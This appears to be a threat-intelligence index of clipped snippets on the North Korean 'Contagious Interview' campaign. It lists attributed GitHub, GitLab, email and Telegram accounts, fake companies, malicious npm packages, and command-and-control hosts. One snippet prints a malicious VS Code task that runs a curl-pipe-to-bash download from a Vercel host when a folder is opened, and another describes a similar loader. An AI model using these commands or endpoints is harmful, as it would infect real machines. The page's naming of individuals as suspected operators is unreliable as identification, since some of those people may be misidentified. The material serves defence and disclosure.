https://github.com/bstar0406 Given…","…deliminallimited.ws@outlook.com - galaxy85126@gmail.com - leopawel65@gmail.com - github.com/peterz-codes - github.com/camonanesi - github.com/wildwolf085 - github.com/leopawel - t.me/komonado (ID: 1017960142) • ([Messages](./user-1017960142-@komonado.txt)) -…","…nallimited.ws@outlook.com galaxy85126@gmail.com leopawel65@gmail.com Github: https://github.com/peterz-codes https://github.com/camonanesi https://github.com/wildwolf085 https://github.com/leopawel Telegram: komonado Hiring…","…persona, dev.to presence github.com/ToyBoy1127 eugene001127 cluster github.com/simplecode1996-lab simplecode1996 email cluster github.com/winner7784291 Taiga Fukuda persona github.com/buildwithria varduhimarieta email / flagged account github.com/TechAIAgent Kolin Kojima hub, follows…","…./beavertail ## Variant eleven - November 13, 2025 - Unique Identifier: token=104 github.com/winterteam03311/apom github.com/tinitachodos/apom22 github.com/tinitachodos/apom #### Notes: These repos are all child repos and have 1 commit each from…","…not deliver the .vscode/tasks.json file but are implicated in the campaign github.com/tinitachodos/apom22 github.com/tinitachodos/apom github.com/winterteam29879/apom github.com/Luckystar483/QuickShop github.com/prahaladbelavadi/CoinLocatorDemo ### NPM packages react-svg-plugin react-svg-config…","…com/superdev0527 https://github.com/Talent0407 https://github.com/tech-veteran71 https://github.com/tommy725 https://github.com/up-pro https://github.com/wissen-snake DISCLAIMER: All technical information, including malware analysis, indicators of compromise and infrastructure details provided in…","…Carolina - https://x.com/0xzozozo/status/1824117629214130436 - ![](./1824117629214130436.jpeg) #### Minato Tanaka - t.me/cdevm - github.com/WKingdom01 - https://x.com/browsercookies/status/1934285777699230194 - ![](./1934285777699230194-1.png) #### BlueSoft - t.me/bluesoft2100 -…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. In the primary account's following list; post ten credits it with the full front end and back end of Quixotic, then Optimism's largest NFT marketplace. No address is given for it.","…github.com/zkbusiness - github.com/chainoneer - github.com/sujan198703 - github.com/alexiva0806 - github.com/poprunner88 - github.com/wow-webmaster - github.com/techwizard210 - github.com/lovelyBestDev - github.com/Thomas-Kebin - github.com/ChallengeDev210 -…","…GitHub user, “Bigrocks918” (https://github.com/bigrocks918) contributed to 4 out of 17 skill assessments, as described below. https://github.com/xorostar/blocknovas-llc-currency-converter-task Within one of the BlockNovas skill assessments on GitHub, Silent Push analysts were able to discover an obfuscated backdoor located…","…obfuscated code: github.com/David-Odoh/Nyxcipher github.com/Ianstiefvater/blocknova github.com/PrimarchOrder/Blocknovas-LLC-Test github.com/Yasin-97/blocknovas-test github.com/lArtiquel/nyxcipher.ai github.com/mirzamudassir/blocknovas-nyx-public github.com/trishateh/blocknovas-task Since we knew…","…hubRealFan https://github.com/Rango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow: suspected https://github.com/super124dev The…","…hubRealFan https://github.com/Rango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow https://github.com/super124dev https://github.c…","…github.com/Redmon540 - github.com/sp0t - github.com/TOP-DEVELOPER - github.com/twizard410 - github.com/webstar1014 - github.com/ychmdev - github.com/evilhanse --- # Analysis of DPRK IT Worker Logs - https://chollima-group.io/posts/analysis-of-it-worker-logs/ -…","…ango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow: suspected https://github.com/super124dev The above-listed GitHub accounts are…","…ango22 https://github.com/TryEverything920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow https://github.com/super124dev https://github.com/agronkercishta https://github.co…","…hing920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow: suspected https://github.com/super124dev The above-listed GitHub accounts are active (ATTOW) and pose high…","…hing920609 https://github.com/univan0928 https://github.com/whitecrow0109 https://github.com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow https://github.com/super124dev https://github.com/agronkercishta https://github.com/agronkercishta https://gith…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Open Source Malware's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. yosket holds yosket87@gmail.com (100). Where the address came from a report, the report is https://opensourcemalware.com/blog/contagious-interview-vscode. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Organizations / Projects - ICICB - Kuhu Pharmacy - DeamTest/DeamChain - FWork.io - Kunzig Consulting - DELIMINAL LIMITED - github.com/Youth-Group - Crypto-FIFA-World - GADA Finance - BrothersCommunity - Prolocalize - CBetWorld - OverWorldLife - OpenPetWorld - DefiTankLand -…","…Pharmacy DeamTest/DeamChain FWork.io Kunzig Consulting DELIMINAL LIMITED github.com/Youth-Group Crypto-FIFA-World GADA…","…github.com/rickt/slack-weather-bot v0.0.0-20180704165649-55def291ce83 rickt Nextron github.com/zainirfan13/graphql-client v0.0.0-20220912215956-d304e79da123 zainirfan13 Nextron TL;DR yes it’s PolinRider and no, they aren’t really ATOs With a total of 20…","…f99964995@gmail.com - github.com/newstable - github.com/webgalaxy315 - github.com/nova-blockchain - github.com/jayceetran - github.com/zenggang315 - github.com/sasuke031026 - github.com/sasuke1026 - github.com/sasukeuchiha - t.me/newstabled -…","…Github: https://github.com/newstable https://github.com/webgalaxy315 https://github.com/nova-blockchain https://github.com/jayceetran https://github.com/zenggang315 https://github.com/sasuke031026 https://github.com/sasuke1026 https://github.com/sasukeuchiha Telegram: newstabled Discord: newstable Sk…","…![](./1923539768849436999.png) #### Aldino Saputra - Jakarta, Indonesia - 2025 (Stellar earnlumens.org) - zerox-toml.vercel.app - github.com/zerox-toml • [Archive](https://web.archive.org/web/20250827061237/https://github.com/zerox-toml) - github.com/oracle071 •…","…eanlake412@hotmail.com masterdev1027@gmail.com https://github.com/smartfox1203 https://github.com/hellovlady https://github.com/fulldev317 https://github.com/Zhang-777 Contact Us Email: chollima_group@proton.me Phone: 0085-02-18111 This site Protected by DPRK CERT…","…cleanlake412@hotmail.com - masterdev1027@gmail.com - github.com/smartfox1203 - github.com/hellovlady - github.com/fulldev317 - github.com/Zhang-777 --- # [MSMT: The DPRK’s Violation and Evasion of UN Sanctions through Cyber and Information Technology Worker…","…github.com/imyugioh • [Archive](https://web.archive.org/web/20250827055032/https://github.com/imyugioh) - github.com/raptor1001 - github.com/zhChameleon - blueraptor1001@gmail.com: 0xlocker, Burndai, Derek Lee, Raptor, Raptor1001, burndai, ethlocker, unlocker - choi.link227@gmail.com: Ryan…","…Adachi / zhmolly - 2025 (jwtradera cluster) - sadaorome - zhmolly - zhmoly - zzmoly - 0xmolly - Moly - github.com/sadaorome - github.com/zhmolly • [Archive](https://archive.ph/80EYH) - github.com/zhmoly • [Archive](https://archive.ph/7XiAc) - t.me/zzmoly (ID: 1968323567) •…","…John Wilhelmson / zhmolly - 2021 - Shows up all over zhmolly handles - John Wilhelmsson - JeyHop - jwtradera - zhmoly - github.com/zhmoly • [Archive](https://archive.ph/7XiAc) - Sadao Murano jwtradera@outlook.com (Naoki Cross Whoopsies) - David Lucas…","…ziobiri Foundry Testing Drop-in Foundry invariant tests for ERC-4626 vaults May 27, 2026 https://github.com/ziobiri/forge-4626-invariants forge-4626-invariants mireles343 Foundry Testing Drop-in Foundry invariant tests for ERC-4626 vaults…","…github.com/IlliaButenko - github.com/johnhoang-star - github.com/techsavvyninja - github.com/intellichain555 - github.com/zkbusiness - github.com/chainoneer - github.com/sujan198703 - github.com/alexiva0806 - github.com/poprunner88 - github.com/wow-webmaster -…","Found on 18 September 2026 by taking the local part of an address this index already holds for this operator -- codechef730 -- and asking GitLab whether an account exists under it. The address is on a consumer mail host, where the local part is a login the holder chose rather than one an employer assigned; handles taken from company addresses were excluded from this pass for that reason. The account states no display name but the handle itself. The login is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under dreamboat999, a login the index already carries for this persona on another platform. The profile gives a member-since date of 11 August 2022. It displays \"DreamBoat\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","…Infrastructure icagllmbt.space , api.gaganata.ink , api.fallgganata.ink , api.chestsoi.ink , buildwithknexus.xyz Dead-drop gitlab.com/drop-indexings/tasks macOS re-infection buildwithknexus.xyz/check_m , dropped to /var/tmp/check Editor extension…","…https[ :// ]gitlab.com/technicalmanager-group/real-esate https[ :// ]gitlab.com/real-world-assest-tokenization/goldencity https[ :// ]gitlab.com/goldencity-group/goldencity-demo https[ :// ]github.com/meta-stake/RealEstateVC https[ :// ]github.com/meta-stake/RaceStake https[ ://…","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under goldentechie, a login the index already carries for this persona on another platform. The profile gives a member-since date of 5 February 2022. It displays the name Goldentechie, the same name the reporting already gives. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","…Five GitLab projects and one on GitHub – gitlab.com/tune247/ultrana-1-24-592-devel , gitlab.com/jason198511/evm-1-8-128-release , gitlab.com/jasonharry1988052/evm-ultrana-demo , gitlab.com/nextzen247/ultrana-1-23-579-release ,…","…Five GitLab projects and one on GitHub – gitlab.com/tune247/ultrana-1-24-592-devel , gitlab.com/jason198511/evm-1-8-128-release , gitlab.com/jasonharry1988052/evm-ultrana-demo , gitlab.com/nextzen247/ultrana-1-23-579-release , github.com/0xJHdev/ultrana-staking-platform – styled as crypto project…","Found on 13 September 2026 by probing every account handle this site already holds for this operator against GitLab, and read from the profile cited. An active GitLab account exists under kstar0102, a login the index already carries for this persona on another platform. The profile gives a member-since date of 3 April 2021. It displays \"Super Dev\", which is a display name rather than a person's name and is recorded here rather than as an alias. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification. The profile's bio, location and links render only in a browser and were not read, so nothing is claimed about them either way.","…– gitlab.com/tune247/ultrana-1-24-592-devel , gitlab.com/jason198511/evm-1-8-128-release , gitlab.com/jasonharry1988052/evm-ultrana-demo , gitlab.com/nextzen247/ultrana-1-23-579-release , github.com/0xJHdev/ultrana-staking-platform – styled as crypto project demos, the kind of codebase a candidate…","…https://gitlab.com/trixauvex-org/x402-kit.git URL Attacker-controlled GitHub repository May 2026 https://gitlab.com/predict-together/forge-4626invariants.git URL Attacker-controlled GitHub repository May 2026…","…https://github.com/mireles343/forge-4626invariants URL Attacker-controlled GitHub repository May 2026 https://gitlab.com/pulsynk-org/rekt-db.git URL Attacker-controlled GitHub repository May 2026…","…Markdown Repositories hosting malicious code https[ :// ]gitlab.com/technicalmanager-group/real-esate https[ :// ]gitlab.com/real-world-assest-tokenization/goldencity https[ :// ]gitlab.com/goldencity-group/goldencity-demo https[ :// ]github.com/meta-stake/RealEstateVC https[ ://…","…stromdev712418@gmail.com trungtrinh0818@gmail.com Markdown Repositories hosting malicious code https[ :// ]gitlab.com/technicalmanager-group/real-esate https[ :// ]gitlab.com/real-world-assest-tokenization/goldencity https[ :// ]gitlab.com/goldencity-group/goldencity-demo…","…https://gitlab.com/pulsynk-org/rekt-db.git URL Attacker-controlled GitHub repository May 2026 https://gitlab.com/trixauvex-org/x402-kit.git URL Attacker-controlled GitHub repository May 2026…","…Five GitLab projects and one on GitHub – gitlab.com/tune247/ultrana-1-24-592-devel , gitlab.com/jason198511/evm-1-8-128-release , gitlab.com/jasonharry1988052/evm-ultrana-demo ,…","…e.threejs.org/u/breadheaddev313/summary https://crater-reports.s3.amazonaws.com/beta-1.82-1/full.html https://www.idcrawl.com/u/codechef730 https://himalayas.app/@codegenerator1994 https://dennis-blockchain.vercel.app/ https://yhype.me/github/@devmaster929 https://www.idcrawl.com/u/ericchi9421 https://x.com/_traploop :…","…vscode-settings-529.vercel.app Lure branding (probably decoys, unverified): text copy mbank-poker.netlify.app 0g-rollplay.netlify.app gglab-poker.netlify.app multibank-poker.netlify.app IP addresses All on TCP/1224 , path /api/checkStatus .…","…name Fake company website operated by NICKEL ALLEY https://rgg-vercel.vercel.app/api/data URL NICKEL ALLEY malware staging server https://ake-test.vercel.app/api/data URL NICKEL ALLEY malware staging server https://astrahub.vercel.app/api/data URL NICKEL ALLEY malware staging server…","Transcribed by hand on 18 September 2026 from the researcher's follow-up to an earlier post on the DredSoftLabs front company, which the scraper cannot read because Medium answers it with a bot check and both archive services refused automated fetches the same day. The post reports that the Dredsoft-Labs GitHub organisation and its Telegram account were renamed JSoft Labs and that a further front company, MetaMint Studio, had appeared on LinkedIn, credits Travis Simcox for the latter, and pivots from one loader string to 116 repositories, nine delivery hostnames and three command-and-control addresses. The three addresses, two of which the post gives with port 4558 and one with port 8353, and the three Vercel hosts are the values carried here; the loader paths on shared JSON-hosting services are recorded above rather than as indicators. Values are re-fanged from the post's hxxp and bracketed-dot form and nothing else is altered.","…http://w3capi.marketing/api/v2/node/d6a8d0d14d3fbb3d5e66c8b007b7a2eb url malware N/A N/A JavaScript malware dropper URL Year in Review https://api-server-mocha.vercel.app/api/ipcheck-encrypted/106 url malware N/A N/A JavaScript malware dropper URL Year in Review…","…Press enter or click to view image in full size Where the decoded value is AUTH_AIP_KEY: https://api-server-mocha.vercel.app/api/ipcheck-encrypted/314 Note: I will not analyse the code in this blog, as it is a repetition of what has been done publicly many…","…URL NICKEL ALLEY malware staging server https://ake-test.vercel.app/api/data URL NICKEL ALLEY malware staging server https://astrahub.vercel.app/api/data URL NICKEL ALLEY malware staging server https://rgg-test.vercel.app/api/data URL NICKEL ALLEY malware staging server…","…URL Year in Review https://api.npoint.io/f96fb4e8596bf650539c url malware N/A N/A JavaScript malware dropper URL Year in Review https://astraluck-vercel.vercel.app/api/data url malware N/A N/A JavaScript malware dropper URL Year in Review https://bs-production.up.railway.app/on url malware N/A N/A…","…URL NICKEL ALLEY malware staging server https://rgg-test.vercel.app/api/data URL NICKEL ALLEY malware staging server https://astraluck-vercel.vercel.app/api/dat URL NICKEL ALLEY malware staging server 52f173a760db5d68e52ba1f1ac51c023 MD5 hash VBScript file used by NICKEL ALLEY (start.vbs)…","Vercel-hosted command-and-control endpoint used by the March 2026 Neutralinojs repository compromise: hxxps://auth-rho-dun[.]vercel[.]app/api, serving a 4,777-byte obfuscated stage whose SHA-256 is a507b74b6b1e25444c586bc67ae0244cba3037f2b39f25f7eb507ded97c373c1. OpenSourceMalware reports that Vercel removed both endpoints after being alerted, and attributes the campaign to DPRK Contagious Interview from the GitHub persona and the BeaverTail final payload.","…the malicious path stayed dormant until a real application called debug.enable(namespaces) . When it fired, the injected code contacted axioshealthcheck.vercel.app/debugCheck?id=<namespaces> — or logkit-tau.vercel.app in the sibling package — pulled a large base64 payload from the JSON message field,…","…URL Year in Review https://astraluck-vercel.vercel.app/api/data url malware N/A N/A JavaScript malware dropper URL Year in Review https://bs-production.up.railway.app/on url malware N/A N/A JavaScript malware dropper URL Year in Review https://getApilatency.onrender.com/checkStatus url malware N/A N/A…","…delivery phase, demanding greater robustness in previously developed detection rules. Indicators of Compromise (IOCs): Urls: https://cdn-static-server.vercel.app/icons/212 http://fashdefi.store:6168/defy/v7 http://bujey.store:6168/defy/v7’)…","…domain changelog.rest domain api.soladify.fun domain api.mywalletsss.store domain api.fivefingerz.dev domain chalk-logger.vercel.app domain api.bpkythuat.com domain cloudflareguard.vercel.app domain clob-polymarket.com domain cloudflareinsights.vercel.app…","…sites tech-veteran.onrender.com chules.vercel.app chules-git-main-mr-new-0509.vercel.app healer1064.github.io chase-allen.netlify.app naruhito-kaide.netlify.app tech-veteran.vercel.app atskoi.netlify.app felix-moore.netlify.com leomasaki.vercel.app robertlopez9216.gi…","…control or their direct use of the identity across multiple platforms. Portfolio sites tech-veteran.onrender.com chules.vercel.app chules-git-main-mr-new-0509.vercel.app healer1064.github.io chase-allen.netlify.app naruhito-kaide.netlify.app tech-veteran.vercel.app atskoi.netlify.app felix-moore.netlif…","…actors’ active control or their direct use of the identity across multiple platforms. Portfolio sites tech-veteran.onrender.com chules.vercel.app chules-git-main-mr-new-0509.vercel.app healer1064.github.io chase-allen.netlify.app naruhito-kaide.netlify.app tech-veteran.vercel.app…","…://yhype.me/github/@toptal126 https://pubhtml5.com/azwe/rvxz/basic/ https://kiyoshi-araki-v2.vercel.app/ https://codesandbox.io/u/workbee49 https://coffee-code.netlify.app https://code.grida.co/ https://cosmichive.com/blog/fullstack-nextjs-ecommerce-2/ https://joiner-for.vercel.app/ https://sakura-70c50.web.ap…","…C2 hosts: `ipregionchecker.com` (registrar-frozen), `isillegalregion.com` (Vercel; live), `cookie-xi-seven.vercel.app` and `ip-check-api.vercel.app` (both DEPLOYMENT_DISABLED). | Repository | Lure theme | Generation | Repo signals verified…","…| Vercel (`ns1.vercel-dns.com` / `ns2.vercel-dns.com`) | **live; serving stage-2** | 64.29.17.65 / 216.198.79.1 | | `cookie-xi-seven.vercel.app` | Vercel | **DEPLOYMENT_DISABLED** (already actioned) | 64.29.17.3 / 216.198.79.3 | | `ip-check-api.vercel.app` | Vercel |…","Vercel-hosted command-and-control endpoint used by the March 2026 Neutralinojs repository compromise: hxxps://data-kappa[.]vercel[.]app/, serving a 4,784-byte obfuscated stage whose SHA-256 is 904afe0337fbbd79def403b3204f75b4c5fbe4e2271252d22c0307f9cbd14646. OpenSourceMalware reports that Vercel removed both endpoints after being alerted, and attributes the campaign to DPRK Contagious Interview from the GitHub persona and the BeaverTail final payload.","…w https://uploads.laborx.com/cv/OWBPVHsBtTHHFsICkF1fuR6XxVwMXHIG.pdf https://drive.google.com/file/d/1VSJ0vJLDMpoIbGzVx3vGqnpwuwNNGMmG/view https://eric-jin-portfolio.netlify.app/resume/resume.pdf https://aiapply.co/resume/67eeb50a69f87 Here is a snapshot of a DPRK Resumes:- Resume #1 Resume #2 From this,…","…2026-02-19 12:03:41 npm-eslint-helper (v1.0.1) amauri_jesus (cashblaze1001@gmail.com) npm-eslint-helper-1.0.1.tgz exfil: eslint-helper.vercel.app Appendix Anomalous findings While sleuthing, I also found atypical malware. katlogic/solana-arbitrage-bot depends on pino-sdk,…","…Stage 1 pulled a bootstrap from a Vercel host, stage 2 set persistence, stage 3 was obfuscated JS calling a bare IP on port 1224. evmrpc-testnet-0g.vercel.app Read .vscode before opening a stranger's repo.…","…But that’s okay — I could see clearly that it was trying to contact express-project-ifm6fa.fly.dev .…","…The fallbacks barely registered. Platform-specific payload delivery The decoded C2 URL points to a Vercel deployment ( ext-checkdin.vercel.app ), with 31 fallback domains using patterns like cleverstack-ext301 , brightlaunch-app615 , neuraldock-ext126 .…","…One such domain, \"ext-checkdin.vercel.app\" has been found to serve a shell script, which then contacts the same URL to retrieve a RAT component. The Trojan connects to…","…{ // Silent fail to avoid alerting the user if there's a network/permission error } } ℹ️ Note Only the first domain (ext-checkdin.vercel.app) actually returns a status 200. All subsequent domains return a 404 The deployment could not be found on Vercel . That said, this long…","…neuraldock-app734.vercel.app orbitstack-ext592.vercel.app orbitstack-app318.vercel.app fusionlayer-ext807.vercel.app fusionlayer-app463.vercel.app quantapath-ext275.vercel.app quantapath-app914.vercel.app visiondock-ext648.vercel.app visiondock-app157.vercel.app…","…dropper URL Year in Review https://bs-production.up.railway.app/on url malware N/A N/A JavaScript malware dropper URL Year in Review https://getApilatency.onrender.com/checkStatus url malware N/A N/A JavaScript malware dropper URL Year in Review https://getpngdata.vercel.app/api/data url malware N/A N/A…","…URL Year in Review https://getApilatency.onrender.com/checkStatus url malware N/A N/A JavaScript malware dropper URL Year in Review https://getpngdata.vercel.app/api/data url malware N/A N/A JavaScript malware dropper URL Year in Review https://googlezauthtoken.vercel.app/checkStatus?id=S,T url…","…IEND . Decoy and branding hosts in client/public/_redirects and sitemap.xml : mbank-poker.netlify.app and 0g-rollplay.netlify.app , plus gglab-poker.netlify.app and multibank-poker.netlify.app in the history. Social-engineering helpers: .vscode/settings.json defines terminal profiles…","…dropper URL Year in Review https://getpngdata.vercel.app/api/data url malware N/A N/A JavaScript malware dropper URL Year in Review https://googlezauthtoken.vercel.app/checkStatus?id=S,T url malware N/A N/A JavaScript malware dropper URL Year in Review…","…The threat actor created a fake hiring platform web application hosted at businesshire.top using the Vercel project hireproflix-iauhsmsuv-gabriels-projects-75362d20.vercel.app .…","…IOCs IPv4:62.60.226.225 Domain:hoplokiroute.com Domain:hylb9pbsjaqkl03g75jomhrsitz0msicjttolxo.pages.dev URL:https://hoplokiroute.com/SifFSYC0iyKGie87L0tjg URL:https://hoplokiroute.com/wuZpFOkrxP7ih1q9wIMVOq5pPVq URL:https://hoplokiroute.com/hi…","…53218da0a97adb6afbbda25ac0e4b45d6e40ee1b , 398 commits, branch main ) Also analysed Stages 2–4, fetched once from the staging host improbable-check1.vercel.app and stored read-only Date 2026-11-11 Method Static analysis only, inside an isolated VM.…","…in Review https://googlezauthtoken.vercel.app/checkStatus?id=S,T url malware N/A N/A JavaScript malware dropper URL Year in Review https://ip-api-test.vercel.app/api/ip-check-encrypted/3aeb34a38 url malware N/A N/A JavaScript malware dropper URL Year in Review…","…The backdoor is a Contagious Interview technique that has already been well documented, marked by node process.env exfiltration to https://ip-checking-notification-firebase-2.vercel.app/api and arbitrary execution of the response payload. Mitigations New VS Code Releases In response to reporting on VS Code…","…Copy-paste straight into detections. ### 7.1 Domains ``` vscode-settings-0506.vercel.app ip-core-api-one.vercel.app ``` Likely siblings (not directly confirmed; pattern is `vscode-settings- .vercel.app` rotated by date, and `ip-core-api- .vercel.app` —…","…URL C2 https://ipcheck-hashed.vercel.app/api/auth/b4dadd6a26d820d085963 URL C2 https://ipcheck-hashed.vercel.app/api/auth/b4dadd6a26d820d08596 URL C2 144.172.89.18 IP C2 공유하기 게시글 관리 이스트시큐리티 알약 블로그…","…144.172.96.80 URLs http://144.172.96.80:1224/client/106/106 http://144.172.96.80:1224/uploads http://144.172.96.80:1224/pdown https://ipcheck-production.up.railway.app/106 npm accounts pdec212 Github accounts pdec9690 Share:…","…Two clean results: ipcheck-six.vercel.app/api → HTTP 451, “This content has been blocked for legal reasons.” Vercel had already pulled the heavily-reported endpoint.…","…Variant five uses isvalid-region.vercel.app/settings/linux?flag=8. Additionally, each of the 11 different payloads downloads a different version of the BeaverTail JavaScript malware.…","…codesandbox.io/u/workbee49 https://coffee-code.netlify.app https://code.grida.co/ https://cosmichive.com/blog/fullstack-nextjs-ecommerce-2/ https://joiner-for.vercel.app/ https://sakura-70c50.web.app/ https://github.com/bethereumproject/lottery/blob/master/Results.MD (Found DPRK Worker in the Winning…","…malware dropper URL Year in Review https://jsonkeeper.com/b/XV3WO url malware N/A N/A JavaScript malware dropper URL Year in Review https://jwt-alpha-woad.vercel.app/api url malware N/A N/A JavaScript malware dropper URL Year in Review https://metric-analytics.vercel.app/api/getMoralisData url malware…","…javascript malware npm dprk Table of contents (9 sections) (sorry it's long) Analysis Stage 1 (unique-string-64) Stage 2 (keo.pages.dev/output-2) Stage 3 (PylangGhost) Other npm packages in the cluster Assessment Hunting IOCs Appendix I took a break…","…host, all versions malicious C2 infrastructure Domain Active Notes ngrok-free.vercel.app Jan 29 First C2, now rotated logkit.vercel.app Feb 3 Second C2, now rotated logkit-tau.vercel.app Mar 16–now Active as of publication Actor domains Domain Role Notes…","…dropper URL Year in Review https://jwt-alpha-woad.vercel.app/api url malware N/A N/A JavaScript malware dropper URL Year in Review https://metric-analytics.vercel.app/api/getMoralisData url malware N/A N/A JavaScript malware dropper URL Year in Review…","…hosts in client/public/_redirects and sitemap.xml : mbank-poker.netlify.app and 0g-rollplay.netlify.app , plus gglab-poker.netlify.app and multibank-poker.netlify.app in the history. Social-engineering helpers: .vscode/settings.json defines terminal profiles (including a \"GitHub CLI\" profile) and…","…tech-veteran.onrender.com chules.vercel.app chules-git-main-mr-new-0509.vercel.app healer1064.github.io chase-allen.netlify.app naruhito-kaide.netlify.app tech-veteran.vercel.app atskoi.netlify.app felix-moore.netlify.com leomasaki.vercel.app robertlopez9216.github.io caddo-smith.vercel.…","…-ext275.vercel.app quantapath-app914.vercel.app visiondock-ext648.vercel.app visiondock-app157.vercel.app openmatrix-ext539.vercel.app openmatrix-app882.vercel.app Socket Firewall Blocks risky dependencies before they reach your environment Get Started Free Keep…","…in Review https://metric-analytics.vercel.app/api/getMoralisData url malware N/A N/A JavaScript malware dropper URL Year in Review https://pngconvert-p0kl4fodi-jhones-projects-f8ddbcbe.vercel.app/api url malware N/A N/A JavaScript malware dropper URL Year in Review https://vscode-config-settings.vercel.app/settings/linux?flag=3…","…are many more IOCs and strains of malware to discover. IOCs Malware network IOCs type value domain polblxpnl.space domain polymarket-cli-testing.vercel.app domain changelog.rest domain api.soladify.fun domain api.mywalletsss.store domain api.fivefingerz.dev domain…","…It's a thin loader that fingerprints the OS via uname -s , then curls or wgets a per-platform payload from precommit.vercel.app and pipes it straight into a shell or cmd.exe : #!/bin/sh uname_s=\"$(uname -s 2>/dev/null || echo unknown)\" case \"$uname_s\" in Darwin)…","…orbitstack-app318.vercel.app fusionlayer-ext807.vercel.app fusionlayer-app463.vercel.app quantapath-ext275.vercel.app quantapath-app914.vercel.app visiondock-ext648.vercel.app visiondock-app157.vercel.app openmatrix-ext539.vercel.app openmatrix-app882.vercel.app Next, the…","…orbitstack-ext592.vercel.app orbitstack-app318.vercel.app fusionlayer-ext807.vercel.app fusionlayer-app463.vercel.app quantapath-ext275.vercel.app quantapath-app914.vercel.app visiondock-ext648.vercel.app visiondock-app157.vercel.app openmatrix-ext539.vercel.app…","…(Found DPRK Worker in the Winning List) https://rentbarker.vercel.app/ https://sos-security.vercel.app/ https://treppr.vercel.app/ NOTE : The above-shared profiles are not the only ones used by North Korean…","…(Found DPRK Worker in the Winning List) https://rentbarker.vercel.app/ https://sos-security.vercel.app/ https://treppr.vercel.app/","…URL NICKEL ALLEY malware staging server https://astrahub.vercel.app/api/data URL NICKEL ALLEY malware staging server https://rgg-test.vercel.app/api/data URL NICKEL ALLEY malware staging server https://astraluck-vercel.vercel.app/api/dat URL NICKEL ALLEY malware staging server…","…name Fake company website operated by NICKEL ALLEY astrabytesync.com Domain name Fake company website operated by NICKEL ALLEY https://rgg-vercel.vercel.app/api/data URL NICKEL ALLEY malware staging server https://ake-test.vercel.app/api/data URL NICKEL ALLEY malware staging server…","…When the catch block runs it issues an HTTP request to an operator-controlled endpoint at serve-cookie.vercel.app, calling /api/ipcheck-encrypted/<apiKey> with a custom header.…","…published at least seven malicious npm packages: Package Account Date Mechanism polymarket-validator toskypi Feb 2026 Exfil to sha256-validate-rpc.vercel.app changelog-logger-utilities toskypi Mar 15, 2026 Exfil to changelog.rest js-logger-pack jpeek868 / toskypi Apr 1-20, 2026 WebSocket…","…(Found DPRK Worker in the Winning List) https://rentbarker.vercel.app/ https://sos-security.vercel.app/ https://treppr.vercel.app/ NOTE : The above-shared profiles are not the only ones used by North Korean Actors.…","…we have verified the threat actors’ active control or their direct use of the identity across multiple platforms. Portfolio sites tech-veteran.onrender.com chules.vercel.app chules-git-main-mr-new-0509.vercel.app healer1064.github.io chase-allen.netlify.app naruhito-kaide.netlify.app tech…","…https://pngconvert-p0kl4fodi-jhones-projects-f8ddbcbe.vercel.app/api url malware N/A N/A JavaScript malware dropper URL Year in Review https://vscode-config-settings.vercel.app/settings/linux?flag=3 url malware N/A N/A JavaScript malware dropper URL Year in Review…","…Variant three uses vscode-config.vercel.app/task/linux?token=812.…","…ALLEY malware staging server for PyLangGhost RAT infections 144.172.93.88 IP address PyLangGhost RAT C2 server used by NICKEL ALLEY https://vscode-ext-git.vercel.app URL NICKEL ALLEY malware staging server https://github.com/mishalepo/test-project URL GitHub repository used by NICKEL ALLEY for social…","…platform-specific payloads: { \"version\": \"2.0.0\", \"tasks\": [ { \"label\": \"update-check\", \"type\": \"shell\", \"command\": \"curl -s https://vscode-extension-260120.vercel.app/settings/linux?flag=5- | bash\", \"runOptions\": { \"runOn\": \"folderOpen\" } } ] } The payload URLs are tailored by operating system:…","…https://vscode-load-config.vercel.app/settings/windows?flag=3 url malware N/A N/A JavaScript malware dropper URL Year in Review https://vscode-load.vercel.app/settings/linux?flag=2 url malware N/A N/A JavaScript malware dropper URL Year in Review…","…Copy-paste straight into detections. ### 7.1 Domains ``` vscode-settings-0506.vercel.app ip-core-api-one.vercel.app ``` Likely siblings (not directly confirmed; pattern is `vscode-settings- .vercel.app` rotated by date, and…","…have designed a system that can deliver different payloads based on a parameter passed in the URL. So for example, for variant one uses vscode-setup.vercel.app/settings/linux?flag=6 for its stage one loader.…","…Payload delivery vscode-settings-bootstrap.vercel.app Payload delivery vscode-settings-config.vercel.app Payload delivery vscode-toolkit-bootstrap.vercel.app Payload delivery vscodesettingstask.vercel.app Payload delivery Commit Author Emails View 57 Rows Email Notes…","…Payload delivery 